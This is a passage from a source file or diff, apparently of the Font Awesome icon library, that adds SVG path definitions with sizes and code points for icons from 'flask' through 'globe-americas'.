203.9-11.1V96.7c-53.6 23.5-93.3 31.4-126.1 31.4s-59-7.8-85.7-15.9c-4-1.2-8.1-2.4-12.1-3.5V75.5c7.2 2 14.3 4.1 21.3 6.2zM160 128.1c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16-7.2 16-16 16zm0-55.8c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16zm64 47.9c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16zm0-55.9c-8.8 0-16-7.1-16-16 0-8.8 7.2-16 16-16s16 7.1 16 16c0 8.8-7.2 16-16 16z" ], + flask: [ 448, 512, [], "f0c3", "M437.2 403.5L320 215V64h8c13.3 0 24-10.7 24-24V24c0-13.3-10.7-24-24-24H120c-13.3 0-24 10.7-24 24v16c0 13.3 10.7 24 24 24h8v151L10.8 403.5C-18.5 450.6 15.3 512 70.9 512h306.2c55.7 0 89.4-61.5 60.1-108.5zM137.9 320l48.2-77.6c3.7-5.2 5.8-11.6 5.8-18.4V64h64v160c0 6.9 2.2 13.2 5.8 18.4l48.2 77.6h-172z" ], + flushed: [ 496, 512, [], "f579", "M344 200c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zm-192 0c-13.3 0-24 10.7-24 24s10.7 24 24 24 24-10.7 24-24-10.7-24-24-24zM248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM80 224c0-39.8 32.2-72 72-72s72 32.2 72 72-32.2 72-72 72-72-32.2-72-72zm232 176H184c-21.2 0-21.2-32 0-32h128c21.2 0 21.2 32 0 32zm32-104c-39.8 0-72-32.2-72-72s32.2-72 72-72 72 32.2 72 72-32.2 72-72 72z" ], + folder: [ 512, 512, [], "f07b", "M464 128H272l-64-64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48z" ], + "folder-minus": [ 512, 512, [], "f65d", "M464 128H272l-64-64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V176c0-26.51-21.49-48-48-48zm-96 168c0 8.84-7.16 16-16 16H160c-8.84 0-16-7.16-16-16v-16c0-8.84 7.16-16 16-16h192c8.84 0 16 7.16 16 16v16z" ], + "folder-open": [ 576, 512, [], "f07c", "M572.694 292.093L500.27 416.248A63.997 63.997 0 0 1 444.989 448H45.025c-18.523 0-30.064-20.093-20.731-36.093l72.424-124.155A64 64 0 0 1 152 256h399.964c18.523 0 30.064 20.093 20.73 36.093zM152 224h328v-48c0-26.51-21.49-48-48-48H272l-64-64H48C21.49 64 0 85.49 0 112v278.046l69.077-118.418C86.214 242.25 117.989 224 152 224z" ], + "folder-plus": [ 512, 512, [], "f65e", "M464,128H272L208,64H48A48,48,0,0,0,0,112V400a48,48,0,0,0,48,48H464a48,48,0,0,0,48-48V176A48,48,0,0,0,464,128ZM359.5,296a16,16,0,0,1-16,16h-64v64a16,16,0,0,1-16,16h-16a16,16,0,0,1-16-16V312h-64a16,16,0,0,1-16-16V280a16,16,0,0,1,16-16h64V200a16,16,0,0,1,16-16h16a16,16,0,0,1,16,16v64h64a16,16,0,0,1,16,16Z" ], + font: [ 448, 512, [], "f031", "M432 416h-23.41L277.88 53.69A32 32 0 0 0 247.58 32h-47.16a32 32 0 0 0-30.3 21.69L39.41 416H16a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16h-19.58l23.3-64h152.56l23.3 64H304a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zM176.85 272L224 142.51 271.15 272z" ], + "font-awesome-logo-full": [ 3992, 512, [ "Font Awesome" ], "f4e6", "M454.6 0H57.4C25.9 0 0 25.9 0 57.4v397.3C0 486.1 25.9 512 57.4 512h397.3c31.4 0 57.4-25.9 57.4-57.4V57.4C512 25.9 486.1 0 454.6 0zm-58.9 324.9c0 4.8-4.1 6.9-8.9 8.9-19.2 8.1-39.7 15.7-61.5 15.7-40.5 0-68.7-44.8-163.2 2.5v51.8c0 30.3-45.7 30.2-45.7 0v-250c-9-7-15-17.9-15-30.3 0-21 17.1-38.2 38.2-38.2 21 0 38.2 17.1 38.2 38.2 0 12.2-5.8 23.2-14.9 30.2v21c37.1-12 65.5-34.4 146.1-3.4 26.6 11.4 68.7-15.7 76.5-15.7 5.5 0 10.3 4.1 10.3 8.9v160.4zm432.9-174.2h-137v70.1H825c39.8 0 40.4 62.2 0 62.2H691.6v105.6c0 45.5-70.7 46.4-70.7 0V128.3c0-22 18-39.8 39.8-39.8h167.8c39.6 0 40.5 62.2.1 62.2zm191.1 23.4c-169.3 0-169.1 252.4 0 252.4 169.9 0 169.9-252.4 0-252.4zm0 196.1c-81.6 0-82.1-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm372.4 53.4c-17.5 0-31.4-13.9-31.4-31.4v-117c0-62.4-72.6-52.5-99.1-16.4v133.4c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c43.3-51.6 162.4-60.4 162.4 39.3v141.5c.3 30.4-31.5 31.4-31.7 31.4zm179.7 2.9c-44.3 0-68.3-22.9-68.3-65.8V235.2H1488c-35.6 0-36.7-55.3 0-55.3h15.5v-37.3c0-41.3 63.8-42.1 63.8 0v37.5h24.9c35.4 0 35.7 55.3 0 55.3h-24.9v108.5c0 29.6 26.1 26.3 27.4 26.3 31.4 0 52.6 56.3-22.9 56.3zM1992 123c-19.5-50.2-95.5-50-114.5 0-107.3 275.7-99.5 252.7-99.5 262.8 0 42.8 58.3 51.2 72.1 14.4l13.5-35.9H2006l13 35.9c14.2 37.7 72.1 27.2 72.1-14.4 0-10.1 5.3 6.8-99.1-262.8zm-108.9 179.1l51.7-142.9 51.8 142.9h-103.5zm591.3-85.6l-53.7 176.3c-12.4 41.2-72 41-84 0l-42.3-135.9-42.3 135.9c-12.4 40.9-72 41.2-84.5 0l-54.2-176.3c-12.5-39.4 49.8-56.1 60.2-16.9L2213 342l45.3-139.5c10.9-32.7 59.6-34.7 71.2 0l45.3 139.5 39.3-142.4c10.3-38.3 72.6-23.8 60.3 16.9zm275.4 75.1c0-42.4-33.9-117.5-119.5-117.5-73.2 0-124.4 56.3-124.4 126 0 77.2 55.3 126.4 128.5 126.4 31.7 0 93-11.5 93-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-109 8.4-115.9-43.8h148.3c16.3 0 29.3-13.4 29.3-28.9zM2571 277.7c9.5-73.4 113.9-68.6 118.6 0H2571zm316.7 148.8c-31.4 0-81.6-10.5-96.6-31.9-12.4-17 2.5-39.8 21.8-39.8 16.3 0 36.8 22.9 77.7 22.9 27.4 0 40.4-11 40.4-25.8 0-39.8-142.9-7.4-142.9-102 0-40.4 35.3-75.7 98.6-75.7 31.4 0 74.1 9.9 87.6 29.4 10.8 14.8-1.4 36.2-20.9 36.2-15.1 0-26.7-17.3-66.2-17.3-22.9 0-37.8 10.5-37.8 23.8 0 35.9 142.4 6 142.4 103.1-.1 43.7-37.4 77.1-104.1 77.1zm266.8-252.4c-169.3 0-169.1 252.4 0 252.4 170.1 0 169.6-252.4 0-252.4zm0 196.1c-81.8 0-82-139.8 0-139.8 82.5 0 82.4 139.8 0 139.8zm476.9 22V268.7c0-53.8-61.4-45.8-85.7-10.5v134c0 41.3-63.8 42.1-63.8 0V268.7c0-52.1-59.5-47.4-85.7-10.1v133.6c0 41.5-63.3 41.8-63.3 0V208c0-40 63.1-41.6 63.1 0v3.4c9.9-14.4 41.8-37.3 78.6-37.3 35.3 0 57.7 16.4 66.7 43.8 13.9-21.8 45.8-43.8 82.6-43.8 44.3 0 70.7 23.4 70.7 72.7v145.3c.5 17.3-13.5 31.4-31.9 31.4 3.5.1-31.3 1.1-31.3-31.3zM3992 291.6c0-42.4-32.4-117.5-117.9-117.5-73.2 0-127.5 56.3-127.5 126 0 77.2 58.3 126.4 131.6 126.4 31.7 0 91.5-11.5 91.5-39.8 0-18.3-21.1-31.5-39.3-22.4-49.4 26.2-110.5 8.4-117.5-43.8h149.8c16.3 0 29.1-13.4 29.3-28.9zm-180.5-13.9c9.7-74.4 115.9-68.3 120.1 0h-120.1z" ], + "football-ball": [ 496, 512, [], "f44e", "M481.5 60.3c-4.8-18.2-19.1-32.5-37.3-37.4C420.3 16.5 383 8.9 339.4 8L496 164.8c-.8-43.5-8.2-80.6-14.5-104.5zm-467 391.4c4.8 18.2 19.1 32.5 37.3 37.4 23.9 6.4 61.2 14 104.8 14.9L0 347.2c.8 43.5 8.2 80.6 14.5 104.5zM4.2 283.4L220.4 500c132.5-19.4 248.8-118.7 271.5-271.4L275.6 12C143.1 31.4 26.8 130.7 4.2 283.4zm317.3-123.6c3.1-3.1 8.2-3.1 11.3 0l11.3 11.3c3.1 3.1 3.1 8.2 0 11.3l-28.3 28.3 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-28.3-28.3-22.6 22.7 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0L248 278.6l-22.6 22.6 28.3 28.3c3.1 3.1 3.1 8.2 0 11.3l-11.3 11.3c-3.1 3.1-8.2 3.1-11.3 0l-28.3-28.3-28.3 28.3c-3.1 3.1-8.2 3.1-11.3 0l-11.3-11.3c-3.1-3.1-3.1-8.2 0-11.3l28.3-28.3-28.3-28.2c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 22.6-22.6-28.3-28.3c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 22.6-22.6-28.3-28.3c-3.1-3.1-3.1-8.2 0-11.3l11.3-11.3c3.1-3.1 8.2-3.1 11.3 0l28.3 28.3 28.3-28.5z" ], + forward: [ 512, 512, [], "f04e", "M500.5 231.4l-192-160C287.9 54.3 256 68.6 256 96v320c0 27.4 31.9 41.8 52.5 24.6l192-160c15.3-12.8 15.3-36.4 0-49.2zm-256 0l-192-160C31.9 54.3 0 68.6 0 96v320c0 27.4 31.9 41.8 52.5 24.6l192-160c15.3-12.8 15.3-36.4 0-49.2z" ], + frog: [ 576, 512, [], "f52e", "M446.53 97.43C439.67 60.23 407.19 32 368 32c-39.23 0-71.72 28.29-78.54 65.54C126.75 112.96-.5 250.12 0 416.98.11 451.9 29.08 480 64 480h304c8.84 0 16-7.16 16-16 0-17.67-14.33-32-32-32h-79.49l35.8-48.33c24.14-36.23 10.35-88.28-33.71-106.6-23.89-9.93-51.55-4.65-72.24 10.88l-32.76 24.59c-7.06 5.31-17.09 3.91-22.41-3.19-5.3-7.08-3.88-17.11 3.19-22.41l34.78-26.09c36.84-27.66 88.28-27.62 125.13 0 10.87 8.15 45.87 39.06 40.8 93.21L469.62 480H560c8.84 0 16-7.16 16-16 0-17.67-14.33-32-32-32h-53.63l-98.52-104.68 154.44-86.65A58.16 58.16 0 0 0 576 189.94c0-21.4-11.72-40.95-30.48-51.23-40.56-22.22-98.99-41.28-98.99-41.28zM368 136c-13.26 0-24-10.75-24-24 0-13.26 10.74-24 24-24 13.25 0 24 10.74 24 24 0 13.25-10.75 24-24 24z" ], + frown: [ 496, 512, [], "f119", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm80 168c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm-160 0c17.7 0 32 14.3 32 32s-14.3 32-32 32-32-14.3-32-32 14.3-32 32-32zm170.2 218.2C315.8 367.4 282.9 352 248 352s-67.8 15.4-90.2 42.2c-13.5 16.3-38.1-4.2-24.6-20.5C161.7 339.6 203.6 320 248 320s86.3 19.6 114.7 53.8c13.6 16.2-11 36.7-24.5 20.4z" ], + "frown-open": [ 496, 512, [], "f57a", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zM136 208c0-17.7 14.3-32 32-32s32 14.3 32 32-14.3 32-32 32-32-14.3-32-32zm187.3 183.3c-31.2-9.6-59.4-15.3-75.3-15.3s-44.1 5.7-75.3 15.3c-11.5 3.5-22.5-6.3-20.5-18.1 7-40 60.1-61.2 95.8-61.2s88.8 21.3 95.8 61.2c2 11.9-9.1 21.6-20.5 18.1zM328 240c-17.7 0-32-14.3-32-32s14.3-32 32-32 32 14.3 32 32-14.3 32-32 32z" ], + "funnel-dollar": [ 640, 512, [], "f662", "M433.46 165.94l101.2-111.87C554.61 34.12 540.48 0 512.26 0H31.74C3.52 0-10.61 34.12 9.34 54.07L192 256v155.92c0 12.59 5.93 24.44 16 32l79.99 60c20.86 15.64 48.47 6.97 59.22-13.57C310.8 455.38 288 406.35 288 352c0-89.79 62.05-165.17 145.46-186.06zM480 192c-88.37 0-160 71.63-160 160s71.63 160 160 160 160-71.63 160-160-71.63-160-160-160zm16 239.88V448c0 4.42-3.58 8-8 8h-16c-4.42 0-8-3.58-8-8v-16.29c-11.29-.58-22.27-4.52-31.37-11.35-3.9-2.93-4.1-8.77-.57-12.14l11.75-11.21c2.77-2.64 6.89-2.76 10.13-.73 3.87 2.42 8.26 3.72 12.82 3.72h28.11c6.5 0 11.8-5.92 11.8-13.19 0-5.95-3.61-11.19-8.77-12.73l-45-13.5c-18.59-5.58-31.58-23.42-31.58-43.39 0-24.52 19.05-44.44 42.67-45.07V256c0-4.42 3.58-8 8-8h16c4.42 0 8 3.58 8 8v16.29c11.29.58 22.27 4.51 31.37 11.35 3.9 2.93 4.1 8.77.57 12.14l-11.75 11.21c-2.77 2.64-6.89 2.76-10.13.73-3.87-2.43-8.26-3.72-12.82-3.72h-28.11c-6.5 0-11.8 5.92-11.8 13.19 0 5.95 3.61 11.19 8.77 12.73l45 13.5c18.59 5.58 31.58 23.42 31.58 43.39 0 24.53-19.04 44.44-42.67 45.07z" ], + futbol: [ 512, 512, [], "f1e3", "M504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zm-48 0l-.003-.282-26.064 22.741-62.679-58.5 16.454-84.355 34.303 3.072c-24.889-34.216-60.004-60.089-100.709-73.141l13.651 31.939L256 139l-74.953-41.525 13.651-31.939c-40.631 13.028-75.78 38.87-100.709 73.141l34.565-3.073 16.192 84.355-62.678 58.5-26.064-22.741-.003.282c0 43.015 13.497 83.952 38.472 117.991l7.704-33.897 85.138 10.447 36.301 77.826-29.902 17.786c40.202 13.122 84.29 13.148 124.572 0l-29.902-17.786 36.301-77.826 85.138-10.447 7.704 33.897C442.503 339.952 456 299.015 456 256zm-248.102 69.571l-29.894-91.312L256 177.732l77.996 56.527-29.622 91.312h-96.476z" ], + gamepad: [ 640, 512, [], "f11b", "M480.07 96H160a160 160 0 1 0 114.24 272h91.52A160 160 0 1 0 480.07 96zM248 268a12 12 0 0 1-12 12h-52v52a12 12 0 0 1-12 12h-24a12 12 0 0 1-12-12v-52H84a12 12 0 0 1-12-12v-24a12 12 0 0 1 12-12h52v-52a12 12 0 0 1 12-12h24a12 12 0 0 1 12 12v52h52a12 12 0 0 1 12 12zm216 76a40 40 0 1 1 40-40 40 40 0 0 1-40 40zm64-96a40 40 0 1 1 40-40 40 40 0 0 1-40 40z" ], + "gas-pump": [ 512, 512, [], "f52f", "M336 448H16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h320c8.8 0 16-7.2 16-16v-32c0-8.8-7.2-16-16-16zm157.2-340.7l-81-81c-6.2-6.2-16.4-6.2-22.6 0l-11.3 11.3c-6.2 6.2-6.2 16.4 0 22.6L416 97.9V160c0 28.1 20.9 51.3 48 55.2V376c0 13.2-10.8 24-24 24s-24-10.8-24-24v-32c0-48.6-39.4-88-88-88h-8V64c0-35.3-28.7-64-64-64H96C60.7 0 32 28.7 32 64v352h288V304h8c22.1 0 40 17.9 40 40v27.8c0 37.7 27 72 64.5 75.9 43 4.3 79.5-29.5 79.5-71.7V152.6c0-17-6.8-33.3-18.8-45.3zM256 192H96V64h160v128z" ], + gavel: [ 512, 512, [], "f0e3", "M504.971 199.362l-22.627-22.627c-9.373-9.373-24.569-9.373-33.941 0l-5.657 5.657L329.608 69.255l5.657-5.657c9.373-9.373 9.373-24.569 0-33.941L312.638 7.029c-9.373-9.373-24.569-9.373-33.941 0L154.246 131.48c-9.373 9.373-9.373 24.569 0 33.941l22.627 22.627c9.373 9.373 24.569 9.373 33.941 0l5.657-5.657 39.598 39.598-81.04 81.04-5.657-5.657c-12.497-12.497-32.758-12.497-45.255 0L9.373 412.118c-12.497 12.497-12.497 32.758 0 45.255l45.255 45.255c12.497 12.497 32.758 12.497 45.255 0l114.745-114.745c12.497-12.497 12.497-32.758 0-45.255l-5.657-5.657 81.04-81.04 39.598 39.598-5.657 5.657c-9.373 9.373-9.373 24.569 0 33.941l22.627 22.627c9.373 9.373 24.569 9.373 33.941 0l124.451-124.451c9.372-9.372 9.372-24.568 0-33.941z" ], + gem: [ 576, 512, [], "f3a5", "M485.5 0L576 160H474.9L405.7 0h79.8zm-128 0l69.2 160H149.3L218.5 0h139zm-267 0h79.8l-69.2 160H0L90.5 0zM0 192h100.7l123 251.7c1.5 3.1-2.7 5.9-5 3.3L0 192zm148.2 0h279.6l-137 318.2c-1 2.4-4.5 2.4-5.5 0L148.2 192zm204.1 251.7l123-251.7H576L357.3 446.9c-2.3 2.7-6.5-.1-5-3.2z" ], + genderless: [ 288, 512, [], "f22d", "M144 176c44.1 0 80 35.9 80 80s-35.9 80-80 80-80-35.9-80-80 35.9-80 80-80m0-64C64.5 112 0 176.5 0 256s64.5 144 144 144 144-64.5 144-144-64.5-144-144-144z" ], + ghost: [ 384, 512, [], "f6e2", "M186.1.09C81.01 3.24 0 94.92 0 200.05v263.92c0 14.26 17.23 21.39 27.31 11.31l24.92-18.53c6.66-4.95 16-3.99 21.51 2.21l42.95 48.35c6.25 6.25 16.38 6.25 22.63 0l40.72-45.85c6.37-7.17 17.56-7.17 23.92 0l40.72 45.85c6.25 6.25 16.38 6.25 22.63 0l42.95-48.35c5.51-6.2 14.85-7.17 21.51-2.21l24.92 18.53c10.08 10.08 27.31 2.94 27.31-11.31V192C384 84 294.83-3.17 186.1.09zM128 224c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32zm128 0c-17.67 0-32-14.33-32-32s14.33-32 32-32 32 14.33 32 32-14.33 32-32 32z" ], + gift: [ 512, 512, [], "f06b", "M32 448c0 17.7 14.3 32 32 32h160V320H32v128zm256 32h160c17.7 0 32-14.3 32-32V320H288v160zm192-320h-42.1c6.2-12.1 10.1-25.5 10.1-40 0-48.5-39.5-88-88-88-41.6 0-68.5 21.3-103 68.3-34.5-47-61.4-68.3-103-68.3-48.5 0-88 39.5-88 88 0 14.5 3.8 27.9 10.1 40H32c-17.7 0-32 14.3-32 32v80c0 8.8 7.2 16 16 16h480c8.8 0 16-7.2 16-16v-80c0-17.7-14.3-32-32-32zm-326.1 0c-22.1 0-40-17.9-40-40s17.9-40 40-40c19.9 0 34.6 3.3 86.1 80h-86.1zm206.1 0h-86.1c51.4-76.5 65.7-80 86.1-80 22.1 0 40 17.9 40 40s-17.9 40-40 40z" ], + gifts: [ 640, 512, [], "f79c", "M240.6 194.1c1.9-30.8 17.3-61.2 44-79.8C279.4 103.5 268.7 96 256 96h-29.4l30.7-22c7.2-5.1 8.9-15.1 3.7-22.3l-9.3-13c-5.1-7.2-15.1-8.9-22.3-3.7l-32 22.9 11.5-30.6c3.1-8.3-1.1-17.5-9.4-20.6l-15-5.6c-8.3-3.1-17.5 1.1-20.6 9.4l-19.9 53-19.9-53.1C121 2.1 111.8-2.1 103.5 1l-15 5.6C80.2 9.7 76 19 79.2 27.2l11.5 30.6L58.6 35c-7.2-5.1-17.2-3.5-22.3 3.7l-9.3 13c-5.1 7.2-3.5 17.2 3.7 22.3l30.7 22H32c-17.7 0-32 14.3-32 32v352c0 17.7 14.3 32 32 32h168.9c-5.5-9.5-8.9-20.3-8.9-32V256c0-29.9 20.8-55 48.6-61.9zM224 480c0 17.7 14.3 32 32 32h160V384H224v96zm224 32h160c17.7 0 32-14.3 32-32v-96H448v128zm160-288h-20.4c2.6-7.6 4.4-15.5 4.4-23.8 0-35.5-27-72.2-72.1-72.2-48.1 0-75.9 47.7-87.9 75.3-12.1-27.6-39.9-75.3-87.9-75.3-45.1 0-72.1 36.7-72.1 72.2 0 8.3 1.7 16.2 4.4 23.8H256c-17.7 0-32 14.3-32 32v96h192V224h15.3l.7-.2.7.2H448v128h192v-96c0-17.7-14.3-32-32-32zm-272 0c-2.7-1.4-5.1-3-7.2-4.8-7.3-6.4-8.8-13.8-8.8-19 0-9.7 6.4-24.2 24.1-24.2 18.7 0 35.6 27.4 44.5 48H336zm199.2-4.8c-2.1 1.8-4.5 3.4-7.2 4.8h-52.6c8.8-20.3 25.8-48 44.5-48 17.7 0 24.1 14.5 24.1 24.2 0 5.2-1.5 12.6-8.8 19z" ], + "glass-cheers": [ 640, 512, [], "f79f", "M639.4 433.6c-8.4-20.4-31.8-30.1-52.2-21.6l-22.1 9.2-38.7-101.9c47.9-35 64.8-100.3 34.5-152.8L474.3 16c-8-13.9-25.1-19.7-40-13.6L320 49.8 205.7 2.4c-14.9-6.2-32-.3-40 13.6L79.1 166.5C48.9 219 65.7 284.3 113.6 319.2L74.9 421.1l-22.1-9.2c-20.4-8.5-43.7 1.2-52.2 21.6-1.7 4.1.2 8.8 4.3 10.5l162.3 67.4c4.1 1.7 8.7-.2 10.4-4.3 8.4-20.4-1.2-43.8-21.6-52.3l-22.1-9.2L173.3 342c4.4.5 8.8 1.3 13.1 1.3 51.7 0 99.4-33.1 113.4-85.3l20.2-75.4 20.2 75.4c14 52.2 61.7 85.3 113.4 85.3 4.3 0 8.7-.8 13.1-1.3L506 445.6l-22.1 9.2c-20.4 8.5-30.1 31.9-21.6 52.3 1.7 4.1 6.4 6 10.4 4.3L635.1 444c4-1.7 6-6.3 4.3-10.4zM275.9 162.1l-112.1-46.5 36.5-63.4 94.5 39.2-18.9 70.7zm88.2 0l-18.9-70.7 94.5-39.2 36.5 63.4-112.1 46.5z" ], + "glass-martini": [ 512, 512, [], "f000", "M502.05 57.6C523.3 36.34 508.25 0 478.2 0H33.8C3.75 0-11.3 36.34 9.95 57.6L224 271.64V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40h-56V271.64L502.05 57.6z" ], + "glass-martini-alt": [ 512, 512, [], "f57b", "M502.05 57.6C523.3 36.34 508.25 0 478.2 0H33.8C3.75 0-11.3 36.34 9.95 57.6L224 271.64V464h-56c-22.09 0-40 17.91-40 40 0 4.42 3.58 8 8 8h240c4.42 0 8-3.58 8-8 0-22.09-17.91-40-40-40h-56V271.64L502.05 57.6zM443.77 48l-48 48H116.24l-48-48h375.53z" ], + "glass-whiskey": [ 512, 512, [], "f7a0", "M480 32H32C12.5 32-2.4 49.2.3 68.5l56 356.5c4.5 31.5 31.5 54.9 63.4 54.9h273c31.8 0 58.9-23.4 63.4-54.9l55.6-356.5C514.4 49.2 499.5 32 480 32zm-37.4 64l-30 192h-313L69.4 96h373.2z" ], + glasses: [ 576, 512, [], "f530", "M574.1 280.37L528.75 98.66c-5.91-23.7-21.59-44.05-43-55.81-21.44-11.73-46.97-14.11-70.19-6.33l-15.25 5.08c-8.39 2.79-12.92 11.86-10.12 20.24l5.06 15.18c2.79 8.38 11.85 12.91 20.23 10.12l13.18-4.39c10.87-3.62 23-3.57 33.16 1.73 10.29 5.37 17.57 14.56 20.37 25.82l38.46 153.82c-22.19-6.81-49.79-12.46-81.2-12.46-34.77 0-73.98 7.02-114.85 26.74h-73.18c-40.87-19.74-80.08-26.75-114.86-26.75-31.42 0-59.02 5.65-81.21 12.46l38.46-153.83c2.79-11.25 10.09-20.45 20.38-25.81 10.16-5.3 22.28-5.35 33.15-1.73l13.17 4.39c8.38 2.79 17.44-1.74 20.23-10.12l5.06-15.18c2.8-8.38-1.73-17.45-10.12-20.24l-15.25-5.08c-23.22-7.78-48.75-5.41-70.19 6.33-21.41 11.77-37.09 32.11-43 55.8L1.9 280.37A64.218 64.218 0 0 0 0 295.86v70.25C0 429.01 51.58 480 115.2 480h37.12c60.28 0 110.37-45.94 114.88-105.37l2.93-38.63h35.75l2.93 38.63C313.31 434.06 363.4 480 423.68 480h37.12c63.62 0 115.2-50.99 115.2-113.88v-70.25c0-5.23-.64-10.43-1.9-15.5zm-370.72 89.42c-1.97 25.91-24.4 46.21-51.06 46.21H115.2C86.97 416 64 393.62 64 366.11v-37.54c18.12-6.49 43.42-12.92 72.58-12.92 23.86 0 47.26 4.33 69.93 12.92l-3.13 41.22zM512 366.12c0 27.51-22.97 49.88-51.2 49.88h-37.12c-26.67 0-49.1-20.3-51.06-46.21l-3.13-41.22c22.67-8.59 46.08-12.92 69.95-12.92 29.12 0 54.43 6.44 72.55 12.93v37.54z" ], + globe: [ 496, 512, [], "f0ac", "M336.5 160C322 70.7 287.8 8 248 8s-74 62.7-88.5 152h177zM152 256c0 22.2 1.2 43.5 3.3 64h185.3c2.1-20.5 3.3-41.8 3.3-64s-1.2-43.5-3.3-64H155.3c-2.1 20.5-3.3 41.8-3.3 64zm324.7-96c-28.6-67.9-86.5-120.4-158-141.6 24.4 33.8 41.2 84.7 50 141.6h108zM177.2 18.4C105.8 39.6 47.8 92.1 19.3 160h108c8.7-56.9 25.5-107.8 49.9-141.6zM487.4 192H372.7c2.1 21 3.3 42.5 3.3 64s-1.2 43-3.3 64h114.6c5.5-20.5 8.6-41.8 8.6-64s-3.1-43.5-8.5-64zM120 256c0-21.5 1.2-43 3.3-64H8.6C3.2 212.5 0 233.8 0 256s3.2 43.5 8.6 64h114.6c-2-21-3.2-42.5-3.2-64zm39.5 96c14.5 89.3 48.7 152 88.5 152s74-62.7 88.5-152h-177zm159.3 141.6c71.4-21.2 129.4-73.7 158-141.6h-108c-8.8 56.9-25.6 107.8-50 141.6zM19.3 352c28.6 67.9 86.5 120.4 158 141.6-24.4-33.8-41.2-84.7-50-141.6h-108z" ], + "globe-africa": [ 496, 512, [], "f57c", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm160 215.5v6.93c0 5.87-3.32 11.24-8.57 13.86l-15.39 7.7a15.485 15.485 0 0 1-15.53-.97l-18.21-12.14a15.52 15.52 0 0 0-13.5-1.81l-2.65.88c-9.7 3.23-13.66 14.79-7.99 23.3l13.24 19.86c2.87 4.31 7.71 6.9 12.89 6.9h8.21c8.56 0 15.5 6.94 15.5 15.5v11.34c0 3.35-1.09 6.62-3.1 9.3l-18.74 24.98c-1.42 1.9-2.39 4.1-2.83 6.43l-4.3 22.83c-.62 3.29-2.29 6.29-4.76 8.56a159.608 159.608 0 0 0-25 29.16l-13.03 19.55a27.756 27.756 0 0 1-23.09 12.36c-10.51 0-20.12-5.94-24.82-15.34a78.902 78.902 0 0 1-8.33-35.29V367.5c0-8.56-6.94-15.5-15.5-15.5h-25.88c-14.49 0-28.38-5.76-38.63-16a54.659 54.659 0 0 1-16-38.63v-14.06c0-17.19 8.1-33.38 21.85-43.7l27.58-20.69a54.663 54.663 0 0 1 32.78-10.93h.89c8.48 0 16.85 1.97 24.43 5.77l14.72 7.36c3.68 1.84 7.93 2.14 11.83.84l47.31-15.77c6.33-2.11 10.6-8.03 10.6-14.7 0-8.56-6.94-15.5-15.5-15.5h-10.09c-4.11 0-8.05-1.63-10.96-4.54l-6.92-6.92a15.493 15.493 0 0 0-10.96-4.54H199.5c-8.56 0-15.5-6.94-15.5-15.5v-4.4c0-7.11 4.84-13.31 11.74-15.04l14.45-3.61c3.74-.94 7-3.23 9.14-6.44l8.08-12.11c2.87-4.31 7.71-6.9 12.89-6.9h24.21c8.56 0 15.5-6.94 15.5-15.5v-21.7C359.23 71.63 422.86 131.02 441.93 208H423.5c-8.56 0-15.5 6.94-15.5 15.5z" ], + "globe-americas": [ 496, 512, [], "f57d", "M248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm82.29 357.6c-3.9 3.88-7.99 7.95-11.31 11.28-2.99 3-5.1 6.7-6.17 10.71-1.51 5.66-2.73 11.38-4.77 16.87l-17.39 46.85c-13.76 3-28 4.69-42.65 4.69v-27.38c1.69-12.62-7.64-36.26-22.63-51.25-6-6-9.37-14.14-9.37-22.63v-32.01c0-11.64-6.27-22.34-16.46-27.97-14.37-7.95-34.81-19.06-48.81-26.11-11.48-5.78-22.1-13.14-31.65-21.75l-.8-.72a114.792 114.792 0 0 1-18.06-20.74c-9.38-13.77-24.66-36.42-34.59-51.14 20.47-45.5 57.36-82.04 103.2-101.89l24.01 12.01C203.48 89.74 216 82.01 216 70.11v-11.3c7.99-1.29 16.12-2.11 24.39-2.42l28.3 28.3c6.25 6.25 6.25 16.38 0 22.63L264 112l-10.34 10.34c-3.12 3.12-3.12 8.19 0 11.31l4.69 4.69c3.12 3.12 3.12 8.19 0 11.31l-8 8a8.008 8.008 0 0 1-5.66 2.34h-8.99c-2.08 0-4.08.81-5.58 2.27l-9.92 9.65a8.008 8.008 0 0 0-1.58 9.31l15.59 31.19c2.66 5.32-1.21 11.58-7.15 11.58h-5.64c-1.93 